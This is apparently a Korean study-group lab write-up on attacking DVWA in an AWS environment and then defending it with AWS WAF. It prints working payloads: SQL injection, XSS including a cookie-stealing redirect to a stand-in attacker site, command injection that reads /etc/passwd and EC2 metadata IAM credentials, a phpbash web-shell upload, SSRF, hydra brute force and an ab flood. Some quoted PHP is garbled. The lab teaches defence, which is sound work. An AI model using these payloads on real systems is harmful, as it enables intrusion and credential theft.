AHSS-3주차 [AWS Hacking & Security Study 1기 Study]

*cloudNet@ 팀의 가시다 님이 진행하는 AWS Hacking & Security Study 스터디 입니다.

실습 환경 배포

#참고용 다운로드 
curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/security/ahss-waf.yaml
  • 배포 완료 되면 EC2 접속 합니다.

기본 환경 정보 확인

  • DVWA EC2 : 웹 접속 확인 (admin / password)
# mariadb 확인 : 계정(root / qwe123)
mysql -V
==
mysql  Ver 15.1 Distrib 5.5.68-MariaDB, for Linux (x86_64) using readline 5.1
==

systemctl status mariadb
==
● mariadb.service - MariaDB database server
   Loaded: loaded (/usr/lib/systemd/system/mariadb.service; enabled; vendor preset: disabled)
   Active: active (running) since Mon 2023-09-11 22:23:08 KST; 16min ago
 Main PID: 6621 (mysqld_safe)
   CGroup: /system.slice/mariadb.service
           ├─6621 /bin/sh /usr/bin/mysqld_safe --basedir=/usr
           └─6787 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --log-error=/var/log/mariadb/mariadb.log...
==

mysql -u root -pqwe123 -e "SHOW DATABASES;"
==
+--------------------+
| Database           |
+--------------------+
| information_schema |
| dvwa               |
| mysql              |
| performance_schema |
+--------------------+
==

# apache web 확인 & DVWA 웹 디렉터리 확인
httpd -v
==
Server version: Apache/2.4.57 ()
Server built:   May  3 2023 16:00:14
==

systemctl status httpd

tree /var/www/html/ -L 1
==
/var/www/html/
├── about.php
├── CHANGELOG.md
├── compose.yml
├── config
├── COPYING.txt
├── database
├── Dockerfile
├── docs
├── dvwa
├── external
├── favicon.ico
├── hackable
├── index.php
├── instructions.php
├── login.php
├── logout.php
├── phpinfo.php
├── php.ini
├── README.ar.md
├── README.es.md
├── README.fa.md
├── README.fr.md
├── README.md
├── README.pt.md
├── README.tr.md
├── README.zh.md
├── robots.txt
├── SECURITY.md
├── security.php
├── security.txt
├── setup.php
├── tests
└── vulnerabilities
==

tree /var/www/html/ -L 2
==
/var/www/html/
├── about.php
├── CHANGELOG.md
├── compose.yml
├── config
│   ├── config.inc.php
│   └── config.inc.php.dist
├── COPYING.txt
├── database
│   ├── create_mssql_db.sql
│   ├── create_oracle_db.sql
│   ├── create_postgresql_db.sql
│   ├── create_sqlite_db.sql
│   ├── sqli.db
│   └── sqli.db.dist
├── Dockerfile
├── docs
│   ├── DVWA_v1.3.pdf
│   ├── graphics
│   └── pdf.html
├── dvwa
│   ├── css
│   ├── images
│   ├── includes
│   └── js
├── external
│   └── recaptcha
├── favicon.ico
├── hackable
│   ├── flags
│   ├── uploads
│   └── users
├── index.php
├── instructions.php
├── login.php
├── logout.php
├── phpinfo.php
├── php.ini
├── README.ar.md
├── README.es.md
├── README.fa.md
├── README.fr.md
├── README.md
├── README.pt.md
├── README.tr.md
├── README.zh.md
├── robots.txt
├── SECURITY.md
├── security.php
├── security.txt
├── setup.php
├── tests
│   ├── README.md
│   └── test_url.py
└── vulnerabilities
    ├── authbypass
    ├── brute
    ├── captcha
    ├── csp
    ├── csrf
    ├── exec
    ├── fi
    ├── javascript
    ├── open_redirect
    ├── sqli
    ├── sqli_blind
    ├── upload
    ├── view_help.php
    ├── view_source_all.php
    ├── view_source.php
    ├── weak_id
    ├── xss_d
    ├── xss_r
    └── xss_s
==

# DVWA의 연결 DB 정보 확인
grep 'db_' /var/www/html/config/config.inc.php
==
// 데이터베이스 서버 주소를 설정합니다. 문제가 발생하면 'localhost' 대신 '127.0.0.1'을 사용해 보세요.
$_DVWA[ 'db_server' ]   = getenv('DB_SERVER') ?: '127.0.0.1';

// 사용할 데이터베이스의 이름을 설정합니다.
$_DVWA[ 'db_database' ] = 'dvwa';

// 데이터베이스에 접속할 사용자 이름을 설정합니다.
$_DVWA[ 'db_user' ]     = 'dvwa';

// 데이터베이스 접속 비밀번호를 설정합니다.
$_DVWA[ 'db_password' ] = 'qwe123';

// MySQL 서버의 포트 번호를 설정합니다.
$_DVWA[ 'db_port']      = 3306;
==

# php 정보 확인
php -v
==
PHP 8.2.9 (cli) (built: Aug 24 2023 20:33:12) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.2.9, Copyright (c) Zend Technologies
==
# 동작 모듈 확인 
php --ini
==
Configuration File (php.ini) Path: /etc
Loaded Configuration File:         /etc/php.ini
Scan for additional .ini files in: /etc/php.d
Additional .ini files parsed:      /etc/php.d/20-bz2.ini,
/etc/php.d/20-calendar.ini,
/etc/php.d/20-ctype.ini,
/etc/php.d/20-curl.ini,
/etc/php.d/20-exif.ini,
/etc/php.d/20-fileinfo.ini,
/etc/php.d/20-ftp.ini,
/etc/php.d/20-gd.ini,
/etc/php.d/20-gettext.ini,
/etc/php.d/20-iconv.ini,
/etc/php.d/20-mysqlnd.ini,
/etc/php.d/20-pdo.ini,
/etc/php.d/20-phar.ini,
/etc/php.d/20-sockets.ini,
/etc/php.d/20-sqlite3.ini,
/etc/php.d/20-tokenizer.ini,
/etc/php.d/20-zip.ini,
/etc/php.d/30-mysqli.ini,
/etc/php.d/30-pdo_mysql.ini,
/etc/php.d/30-pdo_sqlite.ini
==

# EC2 Instance Profile 확인 : AmazonS3ReadOnlyAccess
aws s3 ls
curl -s http://169.254.169.254/latest/meta-data/ ; echo
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole | jq

# 웹 접속 로그 실시간 확인
tail -f /var/log/httpd/access_log
==
#"ELB-HealthChecker/2.0" 는 Amazon Web Services(AWS) Elastic Load Balancer(ELB)의 헬스 체크 도구
10.0.1.240 - - [11/Sep/2023:22:50:39 +0900] "GET /login.php HTTP/1.1" 200 1395 "-" "ELB-HealthChecker/2.0"
10.0.0.152 - - [11/Sep/2023:22:50:49 +0900] "GET /login.php HTTP/1.1" 200 1395 "-" "ELB-HealthChecker/2.0"
==
# 출력된 로그 중에서 "ELB-HealthChecker"라는 문자열이 포함되지 않은 라인만 선택하여 출력합니다.
tail -f /var/log/httpd/access_log | grep -v ELB-HealthChecker

## 로그 확인
접속자 IP 주소 - - 접속 시간 - 요청 방식 - 요청 페이지 - 프로토콜 버전 - HTTP 응답 코드 - 전송 크기 - 접속 브라우저 도구
10.0.1.120 - - [10/Sep/2023:14:28:59 +0900] "GET /favicon.ico HTTP/1.1" 304 - "http://waf.gasida.link/1.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"
  • Attacker EC2
hydra
docker info
docker-compose version
  • AWS ELB(ALB) 확인 : 도메인 주소(접속해보기)와 대상 그룹(EC2) 확인
  • 아래의 이미지는 흐름 참고만 부탁합니다.
  • 해당 인프라 구성도 입니다.

EC2 보안그룹

ALB 보안그룹

EC2 보안그룹 최 하단의 80 포트의 원본에 ALB의 보안그룹 ID 있는 걸 알 수가 있습니다.

DNS 이름 확인 후 접속

  • DVWA EC2 : 접속자 액세스 로그 확인 → XFF 로깅 설정
# 실시간 웹 접속 로그 : "ELB-HealthChecker/2.0" 접속자는 누구인가? => 헬스체크
tail -f /var/log/httpd/access_log
tail -f /var/log/httpd/access_log |grep -v "ELB-HealthChecker/2.0"

# (옵션) apache2 에 XFF 설정으로 ALB - Web 접속 시 Client IP 확인
## Apache 기본 로그 설정 변경 : 196번째(196 입력 후 Shift+G) 줄에 %{X-Forwarded-For}i 추가
vim /etc/httpd/conf/httpd.conf
 LogFormat "%{X-Forwarded-For}i %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
 ESC -> :q -> 엔터로 저장하고 빠져나오기

## HTTP 다시 로드 : reload 와 restart 차이는? => 무중단의 차이 
systemctl reload httpd

# 실시간 웹 접속 로그
tail -f /var/log/httpd/access_log |grep -v "ELB-HealthChecker/2.0"
==
111.111.222.333 10.0.0.152 - - [11/Sep/2023:23:21:54 +0900] "GET /favicon.ico HTTP/1.1" 304 - "http://my-alb-322463100.ap-northeast-2.elb.amazonaws.com/login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"
==
  • (옵션) 공인 도메인 소유한 멤버일 경우 → ALB도메인을 Route53 A레코드 설정

실습환경 구성

  1. DVWA 로그인 합니다.
  2. Create 눌러줍니다 (알아서 DB, 스키마 등 만들어 줍니다.)

3. 다시 로그인 후 아래와 같이 보안 Level을 Low로 변경 합니다.

웹 서비스 공격 : ‘AWS WAF Configuration A to Z’ Workshop 내용 참고 ← 기본 ALB도메인(옵션:개인 도메인) 접속해서 공격 실습 – 링크

  • 오류 정보 노출 확인 : 대충 아무 접속 주소 요청 후 크롬 개발자도구에서 응답 정보 확인 http://도메인/1.html
  • 방안: apache2.conf 에 서버 정보 노출 최소화, 비활성화 설정
# apache2.conf 파일 수정
ServerTokens Prod   # 웹 서버 정보 노출 설정 최소화
ServerSignature Off # 웹 브라우저에 정보 노출 비활성화
...
systemctl restat httpd

  1. SQL Injection 공격 : SQL Injection 메뉴 클릭 – 링크
  • 1 입력 확인 → 2 입력 확인
  • 아래 입력 후 확인
' OR 1=1 #
  • [DVWA EC2] 확인 : 입력란에 or 1=1 (항상 참이 되는 조건절)와 같은 공격 구문 입력 하여 항상 참이되는 SQL문으로 변조되어 인증 우회
#
mysql -uroot -pqwe123
---------------------
SHOW DATABASES;
USE dvwa;
SHOW TABLES;
SELECT * FROM users;
SELECT first_name,last_name FROM users;
SELECT first_name,last_name FROM users WHERE user_id='1';
SELECT first_name,last_name FROM users WHERE user_id='attacker' or 1=1;
SELECT * FROM users WHERE user_id='attacker' or 1=1;
exit
---------------------

ㄴDB에서 확인 시 SQL 인젝션 값과 순서가 같은 것을 알 수가 있습니다.

  • 공격 구문 입력 하여 항상 참이되는 SQL문으로 변조되어 인증 우회 예시
# 예를 들어 아래 처럼 정상 로그인(ID/PW) 입력에서
SELECT user_id FROM user_table WHERE user_id='john' AND password='qwe123'

# 아래처럼 입력 시 
SELECT user_id FROM user_table WHERE user_id='attacker' or 1=1-- AND password='test'
## 결과적으로 아래처럼 변조되어 password에 어떤 값을 입력하든 로그인 허용됨
SELECT user_id FROM user_table WHERE user_id='attacker' or 1=1
  • 웹 페이지 하단에 ‘View Source’ 확인, ‘View Help’ 확인

Low 코드 (사용자의 입력($id)을 검증 없이 직접 SQL 쿼리문에 포함하고있음)

<?php

// 'Submit' 파라미터가 설정되어 있는지 확인합니다. 이는 사용자가 폼을 제출했는지 여부를 확인하는 것입니다.
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    // 사용자의 입력값(id)를 가져옵니다.
    $id = $_REQUEST[ 'id' ];

    // 데이터베이스 종류에 따라 처리 방식을 달리합니다.
    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // MySQL 데이터베이스를 사용하는 경우

            // SQL 쿼리문 작성: 주어진 id에 해당하는 user의 first_name, last_name 정보를 조회합니다.
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

            // 쿼리 실행
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // 결과 가져오기
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // 각 row에서 first_name, last_name 값을 가져옵니다.
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // 최종 결과 출력: id, first name, surname 정보 출력
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            // 데이터베이스 연결 종료
            mysqli_close($GLOBALS["___mysqli_ston"]);
            
            break;
        case SQLITE:
             global sqlite_db_connection;

             #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
             #$sqlite_db_connection->enableExceptions(true);

             query  = "SELECT first_name, last_name FROM users WHERE user_id ='$id';";
             #print query;
             
             try{
                 results=$sqlite_db_connection->query(query);
              } catch (Exception e){
                  echo 'Caught exception:' .$e->getMessage();
                  exit();
              }
              
              if(results){
                  while(row=results->fetchArray()){
                      first=row['first name'];
                      last=row['last name'];
                      
                      echo "<pre>ID:{$id}<br/>First Name:{first}<br/>Surname:{last}</pre>";
                   }
               } else{
                   echo "Error in fetch".$sqlite_db->LastErrorMsg();
               }
               
               break;
          }
     }

?>
  • 대응 : Medium 레벨 변경 메뉴 클릭 후 입력 부분 확인 ⇒ 확인 후 다시 Low 레벨로 변경

2. Reflected XSS 공격 : XSS(Reflected) 메뉴 클릭 – 링크

  • 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점
  • XSS 공격 방법 중 하나로 사용자가 입력한 URL 이나 Parameter , Cookie 등을 기반으로 Script 가 실행되도록 하는 공격
  • admin 입력 후 조회를 위해 Submit 버튼 클릭
  • 아래 입력 후 확인 : 정상적으로 공격이 성공하였다면 아래와 같이 접속한 도메인 정보, 사용자의 쿠키 정보를 포함한 알람창이 스크립트로 확인
<script>alert(document.cookie)</script>
  • PHPSESSID값 확인 : [Attacker] EC2 혹은 웹 접속 후 크롬 개발자 도구에서 확인
#
curl -s 10.0.0.10/vulnerabilities/weak_id/ -v
...
< Set-Cookie: PHPSESSID=r9pr7qodmr2obrbttgln3deada;
...

*실습 시 PHP의 세션 ID 브라우저상에서 안보이는 이유 ⇒ https://developer.chrome.com/docs/extensions/mv3/manifest/content_security_policy/

  • 여러 사용자가 접속하는 게시판에 스크립트 명령어가 포함된 게시물을 등록 → 로그인 된 일반 사용자가 게시물 열람 시
<script>
document.location=http://공격자사이트.com/attack.jsp?cookie=+document.cookie
</script>

→ 로그인 된 일반 사용자가 게시물 열람 시, 자동으로 공격자의 사이트로 쿠기 정보등이 전송되는 스크립트가 실행됨

  • 대응 : ‘View Source’ → ‘Compare All Levels’ 확인 : script는 제거
# Medium Reflected XSS Source
<?php

// XSS 공격 방지 기능을 비활성화합니다.
header ("X-XSS-Protection: 0");

// 'name' 파라미터가 존재하고, 그 값이 NULL이 아닌지 확인합니다.
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    // 사용자의 입력값(name)을 가져옵니다. '<script>' 태그는 제거합니다.
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    // 최종 결과를 출력합니다: "Hello {사용자 이름}" 형태로 출력됩니다.
    echo "<pre>Hello {$name}</pre>";
}

?>

⇒ Medium 레벨 변경 후 다시 입력 후 확인 ⇒ 확인 후 다시 Low 변경

  1. Stored XSS 공격 : XSS (Stored) 메뉴 클릭 – 링크
    • Stored XSS 공격은 XSS 공격 방법 중 하나로 공격자가 공격 Script 를 웹사이트에 저장해두거나 게시판 등의 게시글 등에 저장해둔 후 사용자가 해당 페이지에 접속하거나 게시글을 클릭하였을 경우 실행되도록 하는 공격
    • Name(admin), Message(hello) 입력 → 아래 Sign Guestbook 클릭 ⇒ 아래 게시물(내용) 등록 확인
    • Name 부분에는 admin 을 입력하고 Message 부분에는 아래의 XSS 코드를 입력한 후 Sign Guestbook 버튼을 클릭
: <script>alert(document.cookie)</script>
  • 다른 사용자로 가정 실습 : Home 메뉴 클릭 → 다시 XSS (Stored) 클릭 ⇒ 창 확인 , Clear Guestbook 클릭

4. Command Injection 공격 : Command Injection 메뉴 클릭 – 링크

  • 아래 입력 확인
8.8.8.8 ; id
8.8.8.8 ; cat /etc/passwd
  • IMDSv1 확인
8.8.8.8 ; curl -s http://169.254.169.254/latest/meta-data/iam/
8.8.8.8 ; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole
  • IMDSv2 확인 – 링크
    • 로컬에서 실행되기 때문에 공격할 수 있습니다.
# 토큰 생성
8.8.8.8 ; curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAAAC1ZiLFgZZE4KIakmNxJhuuVi4GmpASxCIm14BeljvVPfwhbzg==

# 사용
8.8.8.8 ; curl -H "X-aws-ec2-metadata-token: <토큰>" -v http://169.254.169.254/latest/meta-data/
8.8.8.8 ; curl -H "X-aws-ec2-metadata-token: AQAAAC1ZiLFgZZE4KIakmNxJhuuVi4GmpASxCIm14BeljvVPfwhbzg==" -v http://169.254.169.254/latest/meta-data/

ㄴ토큰 생성

ㄴ탈취 확인

  • 대응 : ‘View Source’ → ‘Compare All Levels’ 확인 : && 와 ; 는 제거
# Medium Command Injection Source
<?php

// 'Submit' 파라미터가 설정되어 있는지 확인합니다. 이는 사용자가 폼을 제출했는지 여부를 확인하는 것입니다.
if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    // 사용자의 입력값(ip)를 가져옵니다.
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    // 명령어 인젝션 공격을 방지하기 위한 블랙리스트를 설정합니다.
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the characters in the array (blacklist).
    // 블랙리스트에 포함된 문자들을 제거합니다.
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        // 운영체제가 Windows인 경우, Windows용 ping 명령어를 실행합니다.
        $cmd = shell_exec( 'ping  ' . $target );
        
    }
    
     else {
        // *nix
        //*nix 계열 운영체제인 경우, *nix용 ping 명령어를 실행합니다. 
         //(여기서 -c 4 옵션은 패킷을 4번만 보내라는 의미입니다.)
          cmd=shell_exec('ping -c 4'. target);
     }

   echo "<pre>{$cmd}</pre>";
}

?>

⇒ Medium 레벨 변경 후 다시 입력 후 확인 ⇒ 확인 후 다시 Low 변경

5. Backdoor 공격 : File Upload 메뉴 클릭 (용도 : 이미지 파일 업로드) – 링크

  • 자신의 PC에 아래 php 다운로드
curl -O https://raw.githubusercontent.com/Arrexel/phpbash/master/phpbash.php
  • phpbash.php 파일을 File Upload 메뉴에 업로드
  • ALB 도메인의 아래 PATH 링크로 접속 → IMDS 접속 획득 등 탐색 및 시도 가능
http://{{ALB DNS Name}}/hackable/uploads/phpbash.php
  • 대응 : ‘View Source’ → ‘Compare All Levels’ 확인 : 이미지 타입 확인
<?php

// 'Upload' 버튼이 눌렸는지 확인합니다.
if( isset( $_POST[ 'Upload' ] ) ) {
    // 업로드할 경로를 설정합니다: 웹 페이지의 root 디렉토리에서 "hackable/uploads/" 하위 경로입니다.
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // 업로드된 파일의 이름, 타입, 크기 정보를 가져옵니다.
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];

    // 파일 타입이 JPEG 또는 PNG 이미지이고 크기가 100,000바이트 이하인지 확인합니다.
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        // 조건에 맞으면 임시 저장 위치에서 지정한 업로드 폴더로 파일을 이동시킵니다.
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // 파일 이동에 실패하면 에러 메시지를 출력합니다.
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // 파일 이동에 성공하면 성공 메시지를 출력합니다.
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    
     else {
         //파일 타입 혹은 크기가 조건에 맞지 않으면 에러 메시지를 출력합니다. 
         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
     }
}

?>

⇒ Medium 레벨 변경 후 다시 업로드 후 확인 ⇒ 확인 후 다시 Low 변경

6. SSRF 공격 : File Inclusion 메뉴 클릭 – 링크

  • SSRF(Server Side Request Forgery) 공격은 서버측의 요청을 변조하여 악의적인 정보를 수집하거나 명령을 수행하도록 하는 공격
  • file1~3.php 클릭 후 출력 내용 확인
http://<ALB 도메인 주소>/vulnerabilities/fi/?page=file1.php
http://<ALB 도메인 주소>/vulnerabilities/fi/?page=file2.php
http://<ALB 도메인 주소>/vulnerabilities/fi/?page=file3.php
  • IMDS 자격증명 확인
http://<ALB 도메인 주소>/vulnerabilities/fi/?page=http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRole

# 복붙 메모
http://my-alb-211943928.ap-northeast-2.elb.amazonaws.com/vulnerabilities/fi/?page=http://169.254.169.254/latest/meta-data/iam/security-credentials/IAMLabInstanceRoleㅇ
  • 대응 : ‘View Source’ → ‘Compare All Levels’ 확인 : str_replace
# Medium File Inclusion Source

<?php

// 사용자가 요청한 페이지를 가져옵니다.
$file = $_GET[ 'page' ];

// 입력값 검증
// "http://"와 "https://" 문자열을 제거하여 원격 파일 포함(Remote File Inclusion, RFI) 공격을 방어합니다.
$file = str_replace( array( "http://", "https://" ), "", $file );

// "../"와 "..\\" 문자열을 제거하여 디렉토리 이동(Directory Traversal) 공격을 방어합니다.
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

⇒ Medium 레벨 변경 후 다시 URL 접속 시도 후 확인 ⇒ 확인 후 다시 Low 변경

  1. 무차별 입력 공격 : Vulnerability: Brute Force 메뉴 클릭 – DVWA EC2로 바로 공격 – 링크

*계정 일치시 구문 유추 확인 가능

  • Username(admin) Password(1234) 입력 후 Login
http://<ALB>/vulnerabilities/brute/?username=admin&password=1234&Login=Login#
  • Username(admin) Password(password) 입력 후 Login ← 크롬 개발자 도구에서 아래 쿠키값 확인

  • [Attacker] EC2에서 시도
# 공격 시도 
curl -s 'https://s3.ap-northeast-2.amazonaws.com/do-not-delete-demo-website.ap-northeast-2/aws-waf-a-to-z/password.txt' --output password.txt
cat password.txt
hydra 10.0.0.10 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=28e79da390cfd3627947cfdbfc0a4354; security=low" -l admin -P password.txt
  • DVWA서버 로그 확인
  • 대응 : 틀릴 경우 시간 간격을 두기(예. 2초), user와 session Token 사용
# 공격 시도 
hydra 10.0.0.10 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSESSID=7fe30cfe7830c3aa9980207a10cef8d9; security=medium" -l admin -P password.txt
# Medium Brute Force Source
<?php
...
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }
...

2. VPN을 통한 우회 접근 : chrome 확장프로그램 Browsec 를 사용

  • DVWA EC2
# 실시간 웹 접속 로그
tail -f /var/log/httpd/access_log |grep -v "ELB-HealthChecker/2.0"
==
207.244.89.161 10.0.0.152 - - [12/Sep/2023:01:50:48 +0900] "GET /security.php HTTP/1.1" 200 4565 "http://my-alb-322463100.ap-northeast-2.elb.amazonaws.com/security.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"
==
  • 자신의 IP를 감추기 위해서 DVWA 인스턴스 접속을 VPN을 통해 우회하여 접근을 시도합니다.

3. GET Flooding 공격 : DVWA EC2로 바로 공격 – 링크

  • DVWA EC2
# 터미널1
tail -f /var/log/httpd/access_log |grep -v "ELB-HealthChecker/2.0"

# 터미널2 : 아래 ab 실행 후 CPU 모니터링 확인해볼것!
htop
  • Attacker EC2
# 접속 확인
curl -s 10.0.0.10/vulnerabilities/weak_id/ -v
curl -s 10.0.0.10/vulnerabilities/weak_id/ -v

# apache bench 툴로 총 10000000 요청 전송
ab -n 10000000 -c 10 10.0.0.10/vulnerabilities/weak_id/

웹 보안 강화

WAF (Web Application Firewall) 란?

  • AWS 상의 웹 애플리케이션 리소를 보호하기 위한 Web Application Firewall (WAF)
  • 손쉬운 배포 및 유지 관리 / 관리형 규칙 제공
  • 아키텍쳐 변경 없이 CloudFront, API Gateway, AppsYnc, ALB에 적용 가능

AWS WAF 주요 기능

웹 트래픽 필터링

웹 취약점 공격을 차단하는 규칙을 손쉽게 생성하여 웹 트래픽을 필터링하도록 규칙을 생성할 수 있습니다. 여러 웹 사이트에 배포할 수 있도록 중앙에서 관리하는 웹 트래픽 필터링 규칙의 집합을 생성할 수 있습니다.

자동화 및 유지 관리

API를 통해 규칙을 자동으로 생성 및 유지 관리하고, 개발 및 설계 프로세스에 규칙을 통합할 수 있습니다. 또한, AWS CloudFormation 템플릿을 사용하여 자동 배포 및 프로비저닝 할 수 있습니다.

실시간 가시성 보장

AWS WAF는 CloudWatch와 완전히 통합되어 다양한 실시간 지표를 제공합니다. 임계값이 초과하거나 특정 공격이 발생하는 경우 손쉽게 사용자 지정 경보를 하거나 가시성을 보장할 수 있습니다.

AWS Firewall Manager와 통합

AWS Firewall Manager를 사용하여 AWS WAF 배포를 중앙에서 구성 및 관리할 수 있습니다.

WAF 구성

WAF는 단계별로 Web ACL, Rule, Statement로 구성됩니다. 순서에 따라 상위 컴포넌트와 하위 컴포넌트로 구분 지을 수 있습니다. (Web ACL > Rule > Statement)

1) Web ACL

Web ACL은 AWS WAF의 최상위 컴포넌트로 하위 컴포넌트인 Rule을 추가하여 AWS 리소스를 보호합니다. Web ACL을 사용하여 CloudFront 배포, API Gateway REST API 또는 ALB가 응답하는 웹 요청을 세부적으로 제어할 수 있습니다.

Web ACL 내에 포함되는 Rule은 최대 100개까지 생성이 가능하며, Rule은 사전 정의된 규칙이나 사용자 정의 규칙을 선택하여 생성할 수 있습니다.

Web ACL → Rules (Managed Rule Groups/Own Rule and Rule Groups)

2) Rule

Rule은 Web ACL의 하위 컴포넌트로 검사 기준을 정의하고 기준을 충족할 경우 수행 작업(Match Action)을 포함합니다.

Rule을 사용하여 일치 대상에 대해 요청을 차단하거나 요청을 허용할 수 있습니다. Rule의 하위 컴포넌트로 Statement가 있으며, 최대 5개의 Statement를 설정할 수 있습니다. 각 Statement에 대한 Match Action을 수행할 수 있습니다. (단일 매칭 또는 멀티 매칭)

Web ACL → Rule → Statements (Single Match Action/Multi Match Action)

3) Statement

Statement는 웹 필터링의 상세 조건을 정의하는 컴포넌트입니다. 상세 조건은 Inspect, Match Condition, Transformation(Optional), Action으로 구분할 수 있습니다.

  • Inspect: Inspection 대상을 정의하는 조건입니다.
  • Match Condition: Inspection 대상에 대한 분류 방법을 정의합니다.
  • Transformation(Optional): Match Condition의 추가적인 옵션을 부여합니다.
  • Action: 필터링 동작 방식을 정의하는 것으로 허용/거부/카운트 중 선택합니다. Web ACL → Rule → Statement → Inspect, Match Condition, Transformation, Action

AWS WAF 설정하기 – 링크

1. [web ACL 생성] AWS 관리 콘솔 → WAF ⇒ Create web ACL

Step1

  • Name : DemoACL
  • Resource type : Regional resources
  • Region : Aisa Pacific(Seoul) → 아래 Add AWS resources 클릭 ⇒ ALB 선택 후 하단에 생성해둔 ALB 체크 후 Add 클릭

Step2 : 별도 추가 없이 Next (WCUs 5000 상향 부분 확인)

Step3 : 별도 추가 없이 Next

Step4 : ‘Enable sampled requests’ 클릭 후 Next

Step5 : Create web ACL 클릭

  1. [차단 페이지 생성] : 사용자 요청을 차단하는 경우 ‘사용자 정의 웹페이지’를 출력 설정
    • 생성된 Web ALC 클릭 → Custom Response Bodies 선택 ⇒ Create Custom Response Body : 이름 custom_denied , Type(HTML)
<!DOCTYPE html>
<html>
  <head>
    <title>Access Denied</title>
    <style>
      .container {
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        height: 100vh;
      }
      h1 {
        font-size: 40px;
        margin-bottom: 20px;
      }
    </style>
  </head>
  <body>
    <div class="container">
      <h1>Access Denied</h1>
      <img src="https://s3.ap-northeast-2.amazonaws.com/do-not-delete-demo-website.ap-northeast-2/waf.png" alt="Access Denied Image">
      <p>[CloudNet@ Study] Your access is blocked due to abnormal activity. Please contact support for assistance.</p>
    </div>
  </body>
</html>

3. Web ACL Ovieview 클릭해서 하단에 Sampled requests 확인

  • AWS WAF 로깅 설정하기링크
    1. CloudWatch Logs 신규 생성((aws-waf-logs- 시작되는 이름) : aws-waf-logs-ahss , 보존(1일)
    2. Web ACL → Enable logging 설정

CW Logs Insights : 로그 그룹 선택 aws-waf-logs-ahss

  1. 최근 기준 20개 로그 확인
fields @timestamp, @message
| sort @timestamp desc
| limit 20

2. Top 100 IP addresses

fields httpRequest.clientIp
| stats count(*) as requestCount by httpRequest.clientIp
| sort requestCount desc
| limit 100

3. Top 100 countries

fields httpRequest.country
| stats count(*) as requestCount by httpRequest.country
| sort requestCount desc
| limit 100

4. Top 100 user-agents

fields @timestamp, @message
| parse @message '{"name":"User-Agent","value":"*"}' as userAgent
| stats count(*) as requestCount by userAgent
| sort requestCount desc
| limit 100

5. Top 100 hosts

fields @timestamp, @message
| parse @message '{"name":"Host","value":"*"}' as host
| stats count(*) as requestCount by host
| sort requestCount desc
| limit 100

6. Top 100 terminating rules

fields terminatingRuleId
| stats count(*) as requestCount by terminatingRuleId
| sort requestCount desc
| limit 100

7. Find patterns that triggered Cross-Site Scripting (XSS) or SQL Injection in either terminatingRule for a custom rule or AWS Managed Rule Group

fields @timestamp
| parse @message ',"terminatingRuleMatchDetails":[*],' as terminatingRuleMatchData
| filter (terminatingRuleMatchData like /XSS/ or terminatingRuleMatchData like /SQL/)| display @timestamp, httpRequest.clientIp, httpRequest.country, terminatingRuleMatchData, httpRequest.requestId
| limit 100

8. Entries that are counted by a specific rule in a rule group

fields @timestamp
